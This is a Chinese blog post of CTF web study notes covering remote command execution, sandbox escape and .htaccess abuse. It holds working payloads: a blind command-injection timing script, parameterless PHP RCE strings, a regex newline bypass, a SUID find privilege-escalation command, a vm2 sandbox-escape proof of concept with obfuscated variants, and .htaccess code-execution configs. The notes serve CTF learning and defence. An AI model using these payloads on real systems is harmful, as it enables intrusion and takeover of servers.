03 RCE、沙箱逃逸、.htaccess的其它用法

目录:


 

RCE:

 


 

 

RCE

RCE:远程命令注入

一些常见考法:

Bash盲注:

import time
import requests
url="http://51934713-a8a8-4fd7-bef6-8876cee55fdf.node4.buuoj.cn:81/"
result = ""
for i in range(1,15):
    for j in range(1, 50):#ascii码表
        for k in range(32, 127):
            k = chr(k)
            payload = f"if [ `cat /flag_is_h3eeere | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 2;fi"
            length = len(payload)
            payload2 = {
                "payload": 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'.format(
                    length, payload)
            }
            t1 = time.time()
            r = requests.post(url=url, data=payload2)
            t2 = time.time()
            if t2 - t1 > 1.5:
                result += k
                print(result)
    result += " "
View Code

参考:

NewStarCTF 2023 公开赛道 WEEK3|WEB   R!!!C!!!E!!!M!!!E!!!

NewStarCTF 2023 Week3 官方WriteUp (shimo.im)中的对应攻击脚本(即上述代码)

 

无参数RCE

即当我们传入的函数不能有参数时:

复制代码
scandir()
print_r(scandir(xxxxxx)); #表示获取某目录下的文件
localeconv()函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是"."
current() 返回数组中的当前单元, 默认取第一个值。

file_get_contents() #把整个文件读入一个字符串中;
file #把整个文件读入一个数组中;
readfile() #读入一个文件并写入到输出缓冲;
highlight_file() #对文件进行语法高亮显示;
show_source() #对文件进行语法高亮显示;
 
array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组。
next()指向数组的下一个元素。
prev() - 将内部指针指向数组中的上一个元素,并输出
current() - 返回数组中的当前元素的值
end() - 将内部指针指向数组中的最后一个元素,并输出
reset() - 将内部指针指向数组中的第一个元素,并输出
each() - 返回当前元素的键名和键值,并将内部指针向前移动
 pos() 输出数组中的当前元素的值 

可以构造:
?exp=print_r(scandir(current(localeconv()))); //读取当前目录下的文件
?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); //读取flag
复制代码

参考:

https://blog.csdn.net/qq_20533167/article/details/116945536
https://www.bilibili.com/read/cv18232136

 

若是无参数RCE过滤了许多东西

复制代码
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}
复制代码
View Code

可以尝试使用以下进行绕过

?star=system(array_rand(array_flip(getallheaders())));

此时,还需要在请求头中随便加入一个键值对,注意,值的部分即是我们想要执行的命令;如 sdv:ls /

还要注意,我们注入的命令时是否执行,是随机的,故而需要多次发包。

参考:

NewStarCTF2023week2-R!!C!!E!!(很细)-CSDN博客

[NewStarCTF 2023] web题解 - overfit.cn (另一种类似的解法)

 
 

绕过preg_match函数

因为preg_match只能匹配第一行,所以我们可以尝试采用多行绕过:

例如,我们输入的  ls / 命令会被 preg_match 匹配,

我们可以尝试这样绕过:

换行
ls /
换行

==》 %0A ls / %0A #%0A是换行符的URL编码

 参考:

[FBCTF2019]RCEService-CSDN博客

 
 

提权

SUID提权(find)

常用提权命令:

find / -user root -perm -4000 -print 2>/dev/null

使用cp命令SUID提权读取文件:

cp /文件名 /dev/stdout    #/ dev / stdout是—个特殊的文件,代表标准输出

参考:

[wp]NewStarCTF 2023 WEEK5|WEB-CSDN博客

linux中利用suid中的find进行root提权遇到的坑_suid find提权 fantanshell-CSDN博客

 

沙箱逃逸

vm沙箱逃逸

Errot().stack可以用来帮助判断是否是vm沙箱逃逸;vm沙箱逃逸的判断方法见后面的参考链接。

沙箱逃逸POC见:https://github.com/patriksimek/vm2/issues/225

 (function(){
    TypeError.prototype.get_process = f=>f.constructor("return process")();
    try{
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
        return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
})()

若是其中有字符被过滤;

1、我们用javascript的模版文字绕过。

prototype变成`${`${`prototyp`}e`}`
(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()

2、拼接绕过

prototype变成`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`

参考:[HFCTF2020]JustEscape |北歌 (kinsey973.github.io)

第 五 周 write up [[HFCTF2020]JustEscape [BJDCTF2020]EasySearch HCTF-2018-Web-warmup]-CSDN博客

 

 .htaccess的用法

.htaccess在文件上传的用法:

可以通过该配置文件将指定文件当做php文件(或其它文件)执行

.htaccess把自己指定当做 php文件处理(代码执行)

若是题目只能写入文件(file_put_contents),可以尝试利用.htaccess文件来进行代码执行

如:  file_put_contents($filename, $content . "\nHello, world"); 
注意:这里因为$content变量后面拼接的字符中有 \n换行符,也就是Hello,world会被写入下一行,这不符合.htaccess的解析格式;因此需要在构造$content内容时在末尾加一个 \ ;用来将 "\n"中的\转义掉

当前目录下有PHP文件:(.htaccess的内容)

php_value auto_append_file .htaccess
#<?php phpinfo();        
#后面也可以是其它命令,如:<?php system("ls")?> 等

若是有过滤情况,可以使用 \ 号:

php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();
若是要写为一行:
php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls /")?>\

当前目录下无php文件:

<Files .htaccess>
//ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</Files>
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();

详细及其它几种用法参考:[CTF].htaccess的使用技巧总结_.htaccess ctf-CSDN博客

.htaccess利用方式_.htaccess addtype-CSDN博客

若是在get中写入:(有filename和content两个可控参数)

?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls /")?>\&filename=.htaccess

实验参考:[羊城杯2020]easyphp |北歌 (kinsey973.github.io)

 

 

posted @ 2023-11-09 20:03  咿呀鲸落  阅读(86)  评论(0)    收藏  举报